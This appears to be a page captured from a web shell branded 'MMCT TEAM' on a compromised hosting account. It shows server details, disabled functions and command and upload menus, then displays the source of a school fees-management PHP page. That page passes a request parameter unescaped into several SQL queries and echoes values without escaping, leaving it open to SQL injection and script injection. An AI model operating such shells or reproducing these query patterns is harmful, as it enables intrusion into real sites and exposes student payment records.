MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.139
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/demo/src/../update/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/demo/src/../update/stud_profile.php
<?php 

    // First we execute our common code to connection to the database and start the session 
    require("common.php"); 
     
    // At the top of the page we check to see whether the user is logged in or not 
    if(empty($_SESSION['user'])) 
    { 
        // If they are not, we redirect them to the login page. 
        header("Location: login.php"); 
         
        // Remember that this die statement is absolutely critical.  Without it, 
        // people can view your members-only content without logging in. 
        die("Redirecting to login.php"); 
    } 
     
     include("config/dbconnect.php");
    $SchoolCode=$_SESSION['code'];
    $sel_school=mysqli_query($con,"select * from schools where schoolCode='$SchoolCode'");
    $SchoolRePrintFile="reprint.php";
    while($school_row=mysqli_fetch_array($sel_school))
    {
        $SchoolRePrintFile=$school_row['Reprint_file'];
    }
    
    mysqli_close($con);  
     
    // Everything below this point in the file is secured by the login system 
     
    // We can display the user's username to them by reading it from the session array.  Remember that because 
    // a username is user submitted content we must use htmlentities on it before displaying it to the user. 

?>


<?php include "config/config.php";
$key=$_REQUEST['key'];
$sql1=mysqli_query($con,"select * from `stud_basic` where `Stud_Id` = '$key'");
$sql2=mysqli_query($con,"select DISTINCT `Head_Id` from `stud_basic2` where `Stud_Id` = '$key'");
$sql3=mysqli_query($con,"select * from `paid_fees` where `Stud_Id` = '$key'");

?>
<!DOCTYPE html>
<html lang="en">
<head>

	
	<!-- start: Meta -->
	<meta charset="utf-8">
	<title>Fees Managment</title>
	<meta name="description" content="Bootstrap Metro Dashboard">
	<meta name="author" content="Dennis Ji">
	<meta name="keyword" content="Metro, Metro UI, Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina">
	<!-- end: Meta -->
	
	<!-- start: Mobile Specific -->
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<!-- end: Mobile Specific -->
	
	<!-- start: CSS -->
	<link id="bootstrap-style" href="css/bootstrap.min.css" rel="stylesheet">
	<link href="css/bootstrap-responsive.min.css" rel="stylesheet">
	<link id="base-style" href="css/style.css" rel="stylesheet">
	<link id="base-style-responsive" href="css/style-responsive.css" rel="stylesheet">
	<link href='http://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&subset=latin,cyrillic-ext,latin-ext' rel='stylesheet' type='text/css'>
	<!-- end: CSS -->
	

	<!-- The HTML5 shim, for IE6-8 support of HTML5 elements -->
	<!--[if lt IE 9]>
	  	<script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
		<link id="ie-style" href="css/ie.css" rel="stylesheet">
	<![endif]-->
	
	<!--[if IE 9]>
		<link id="ie9style" href="css/ie9.css" rel="stylesheet">
	<![endif]-->
		
	<!-- start: Favicon -->
	<link rel="shortcut icon" href="img/favicon.ico">
	<!-- end: Favicon -->
	
		<style type="text/css">
<!--
.style1 {
	color: #3300CC;
	font-weight: bold;
}
.style2 {
	color: #FF0000;
	font-weight: bold;
}
.style4 {
	color: #CC00FF;
	font-weight: bold;
}
-->
</style>

		
</head>

<body onLoad="myFunction()">
		<!-- start: Header -->
	<?php 

$_SESSION['ReciptList'];
	include "menu_f.php"; ?>
	<!-- start: Header -->
	
		<div class="container-fluid-full">
		<div class="row-fluid">
				
			<!-- start: Main Menu -->
			<div id="sidebar-left" class="span2">
				<div class="nav-collapse sidebar-nav">
					<ul class="nav nav-tabs nav-stacked main-menu">
						<li><a href="dashboard.php"><i class="icon-bar-chart"></i><span class="hidden-tablet"> Dashboard</span></a></li>	
						
<?php include "menu.php"; ?>
						
						
						
					</ul>
				</div>
			</div>
			<!-- end: Main Menu -->
			
			<noscript>
				<div class="alert alert-block span10">
					<h4 class="alert-heading">Warning!</h4>
					<p>You need to have <a href="http://en.wikipedia.org/wiki/JavaScript" target="_blank">JavaScript</a> enabled to use this site.</p>
				</div>
			</noscript>
			
			<!-- start: Content -->
			
					<div id="content" class="span10">
			
			
			<ul class="breadcrumb">
				<li>
					<i class="icon-home"></i>
					<a href="dashboard.php">Home</a> 
					<i class="icon-angle-right"></i>
				</li>
				<li><a href="#">Student View</a></li>
			</ul>


    <div class="box-content">
						<div class="row-fluid sortable">		
				<div class="box span12">
					<div class="box-header" data-original-title>
						<h2><i class="halflings-icon white th"></i><span class="break"></span>Student Info. </h2>
						<div class="box-icon">
							
						</div>
					</div>
					<p align="center">Basic Information</p>
						<table id="example" class="table table-striped table-bordered">
						  <thead>
							  <tr>
								  
								  <th>Name</th>
								  <th>Class/Div</th>
								  <th>Gender</th>
								  <th>Register No.</th>
								  <th>Phone</th>
								  <th>Note</th>
							  </tr>
						  </thead>
						  <?php 
								$res1=mysqli_fetch_array($sql1);
						  ?>   
						  <tbody>
						  	<td><?php echo "$res1[Name]";?> </td>
						  	<td><?php echo "$res1[Class]"."/"."$res1[Division]";?> </td>
						  	<td><?php echo "$res1[Gender]";?> </td>
						  	<td><?php echo "$res1[Reg_No]";?> </td>
						  	<td><?php echo "$res1[Phone]";?> </td>
						  	<td><?php echo "$res1[Message]";?> </td>	

						  	</tbody>
						  </table>
						  		<p align="center">Applied Fees Codes</p>
						  <table id="example" class="table table-striped table-bordered">
						  <thead>
							  <tr>
								  
								  <th>Applied Fees Codes</th>
								  <th>Total Amount</th>
								  <th>Paid</th>
								  <th> Balance</th>
							  </tr>
						  </thead>   
						  <tbody>
						  	<?php
						  		while($res11=mysqli_fetch_array($sql2))
						  		{
$res22=mysqli_query($con,"select SUM(`Total_Amount`),SUM(`Paid`),SUM(`Balance`) from `stud_basic2` where `Head_Id` = '$res11[Head_Id]' and `Stud_Id` = '$key'");
					$res2=mysqli_fetch_array($res22);
					$hres=mysqli_query($con,"select * from `head` where `Head_Id` = '$res11[Head_Id]'");
					$hr=mysqli_fetch_array($hres); 	
						  	?>
						  	<tr>
						  		<td><?php echo $hr["Name"];?></td>
						  		<td><?php echo "$res2[0]";?></td>
						  		<td><?php echo "$res2[1]";?></td>
						  		<td><?php echo "$res2[2]";?></td>
							</tr>
						  	<?php  
						         }
						  	?>
						  	</tbody>
						  </table>

						  <p align="center">Payment Details</p>
						  
						  <table id="example" class="table table-striped table-bordered">
						  <thead>
							  <tr>
								  
								  <th>Date</th>
								  <th>Recipt Number</th>
								  <th>Fees Code</th>
								  <th>Fees Mode</th>
								  <th>Total</th>
								  <th>Delete</th>
							  </tr>
						  </thead>   
						  <tbody>
						  	<?php
						  		while($res3=mysqli_fetch_array($sql3))
						  		{
					$hres=mysqli_query($con,"select * from `head` where `Head_Id` = '$res3[Head_Id]'");
						 $hr=mysqli_fetch_array($hres); 	
						  	?>
						  	<tr>
						  		<td><?php echo "$res3[Paid_date]";?></td>
						  		<td><a href="<?php echo $SchoolRePrintFile; ?>?key=<?php echo $res3['Fees_id'];?>"><?php echo "$res3[Recipt_No]";?></a></td>
						  		<td><?php echo "$hr[Name]";?></td>
						  		<td><?php echo "$res3[Mode]";?></td>
						  		<td><?php echo "$res3[Grand_Total]";?></td>
						  		<td><a class="btn btn-danger btnDelete" data-sid="<?php echo $key; ?>" data-id="<?php echo $res3['Fees_id'];?>">
										<i class="halflings-icon white trash"></i> 
									</a> </td>
							</tr>
						  	<?php  
						         }
						  	?>
						  </tbody>
						  </table>


						</div></div></div></div>





	</div><!--/.fluid-container-->
	
			<!-- end: Content -->
		</div><!--/#content.span10-->
		</div></div><!--/fluid-row-->
		
	
	 
	
	
	<div class="clearfix"></div>
	
	<footer>

		<p>
			<span style="text-align:left;float:left">&copy; 2018 <a href="http://evisioninfotech.in" alt="Bootstrap_Metro_Dashboard">e vision infotech</a></span>
			
		</p>

	</footer>
	
	
	
		<script>


		</script>
	<!-- end: JavaScript-->
	<script src="js/jquery-1.9.1.min.js"></script>
	<script src="js/jquery-migrate-1.0.0.min.js"></script>
	
		<script src="js/jquery-ui-1.10.0.custom.min.js"></script>
	
		<script src="js/jquery.ui.touch-punch.js"></script>
	
		<script src="js/modernizr.js"></script>
	
		<script src="js/bootstrap.min.js"></script>
	
		<script src="js/jquery.cookie.js"></script>
	
		<script src='js/fullcalendar.min.js'></script>
	
		<script src='js/jquery.dataTables.min.js'></script>

		<script src="js/excanvas.js"></script>
	<script src="js/jquery.flot.js"></script>
	<script src="js/jquery.flot.pie.js"></script>
	<script src="js/jquery.flot.stack.js"></script>
	<script src="js/jquery.flot.resize.min.js"></script>
	
		<script src="js/jquery.chosen.min.js"></script>
	
		<script src="js/jquery.uniform.min.js"></script>
		
		<script src="js/jquery.cleditor.min.js"></script>
	
		<script src="js/jquery.noty.js"></script>
	
		<script src="js/jquery.elfinder.min.js"></script>
	
		<script src="js/jquery.raty.min.js"></script>
	
		<script src="js/jquery.iphone.toggle.js"></script>
	
		<script src="js/jquery.uploadify-3.1.min.js"></script>
	
		<script src="js/jquery.gritter.min.js"></script>
	
		<script src="js/jquery.imagesloaded.js"></script>
	
		<script src="js/jquery.masonry.min.js"></script>
	
		<script src="js/jquery.knob.modified.js"></script>
	
		<script src="js/jquery.sparkline.min.js"></script>
	
		<script src="js/counter.js"></script>
	
		<script src="js/retina.js"></script>

		<script src="js/custom.js"></script>
		<script>
    $(".btnDelete").click(function(){
        var Fees_id=$(this).data("id");
        var Stud_id=$(this).data("sid");
        if(confirm ("Are you sure delete Recipt ?"))
        {
            $.ajax({
                url: 'Delete_Fees.php',
                type: 'POST',
                data: "Fees_id="+Fees_id,
                success: function(response) {
                    //console.log(response);
                    window.location='stud_profile.php?key='+Stud_id;
                }
            });
        }
    });
</script>
</body>
</html>

MMCT - 2023